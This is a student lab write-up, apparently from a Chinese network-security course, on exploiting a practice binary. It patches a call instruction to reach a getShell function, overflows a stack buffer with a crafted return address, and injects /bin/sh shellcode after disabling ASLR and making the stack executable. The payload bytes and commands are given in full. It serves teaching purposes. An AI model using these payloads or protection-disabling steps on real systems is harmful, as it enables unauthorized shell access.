2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解

2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解

实验1-1直接修改程序机器指令,改变程序执行流程

先输入objdump -d 20165305pwn2查看反汇编代码,然后查看机器指令,找到并根据机器指令计算出要篡改的目标地址。
我们可以从下图中看到call 804891
机器码指令为e8 d7 ff ff ff,然后我们可以通过知道,只要把d7改为c3就可以在运行文件时调用getshell。

以下是我要执行的一系列指令
首先输入vi 20165305pwn2(进入编辑文件模式)——>:%!xxd(将文件转换为16进制)——>/e8 d7(找到对应的机器指令)——>先点击回车,然后修改d7为c3——>:%!xxd -r(将16进制数转换为原来的样子)——>:wq(保存)——>./20165305pwn2(运行文件)——>ls(执行ls功能,看实验是否成功)。

实验1-2通过构造输入参数,造成BOF攻击,改变程序执行流

在课上老师为我们演示了如何知道应该输入多少位数才能够覆盖返回地址,在这里我就不多说了。
getShell的内存地址,通过反汇编时可以看到,即0804847d。
以下是我执行的一系列指令:
gdb 20165305pwn2(进入gdb调试)——>r——>输入111111112222222233333333444444441234这36位数(测试是否会造成缓冲区溢出),查看是哪几位数造成缓冲区溢出——>退出gdb调试——>perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input(用getShell的内存地址代替1234,因为终端不让输入地址,所以构造一个input文件)——>(cat input;cat) | ./20165305pwn2(执行程序)——>ls(查看是否攻击成功)。

之前我尝试了一下输入的数字位数大于36位看可不可以覆盖返回地址,但是总会报错,好像是不让执行,所以我就直接入了36位数字

实验1-3注入Shellcode并执行

目的:为了直接在终端注入一段机器指令,获取一个交互式的shell
以下是我执行的一系列指令

apt-get install execstack(安装execstack)——>execstack -s 20165305pwn2(设置堆栈可执行)设置堆栈可执行 ——>execstack -q 20165305pwn2 (查询文件的堆栈是否可执行)——>echo "0" > /proc/sys/kernel/randomize_va_space (关闭地址随机化)——>perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode(编写shellcode) ——>(cat input_shellcode;cat) | ./20165305pwn2(注入shellcode)——>打开另一个终端,输入口ps -ef | grep 201653056pwn2——>attach 进程号——> disassemble foo(反编译)——>break *0x080484ae(设置断点)——>c——>info r esp(查看esp)——>x/16x 0xbffff25c(根据地址,查看其存放内容)——>退出gdb调试——>perl -e 'print "A" x 32;print "\x60\xf2\xff\xbf\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode(根据地址计算出要注入的地址,并编写input_shellcode)——>xxd input_shellcode——>(cat input_shellcode;cat) | ./20165305pwn2(注入shellcode)——>回车输入ls查看结果。

问题

什么是漏洞?漏洞有什么危害?
我认为漏洞就是在使用程序的过程中暴露出来的一些问题,这是由于在设计程序时没有考虑到的不足之处。
危害:我认为一般可以通过漏洞使程序崩溃、瘫痪,还可以通过漏洞获取一定的非法权限等等。

实验收获与感想

通过本次实验,让我掌握了缓冲区溢出攻击的一些基本知识与操作,并且为以后的学习打下了基础。为了掌握更多的知识,今后我会更加努力地学习。

猜你喜欢

转载自www.cnblogs.com/2332175994-1314/p/10539861.html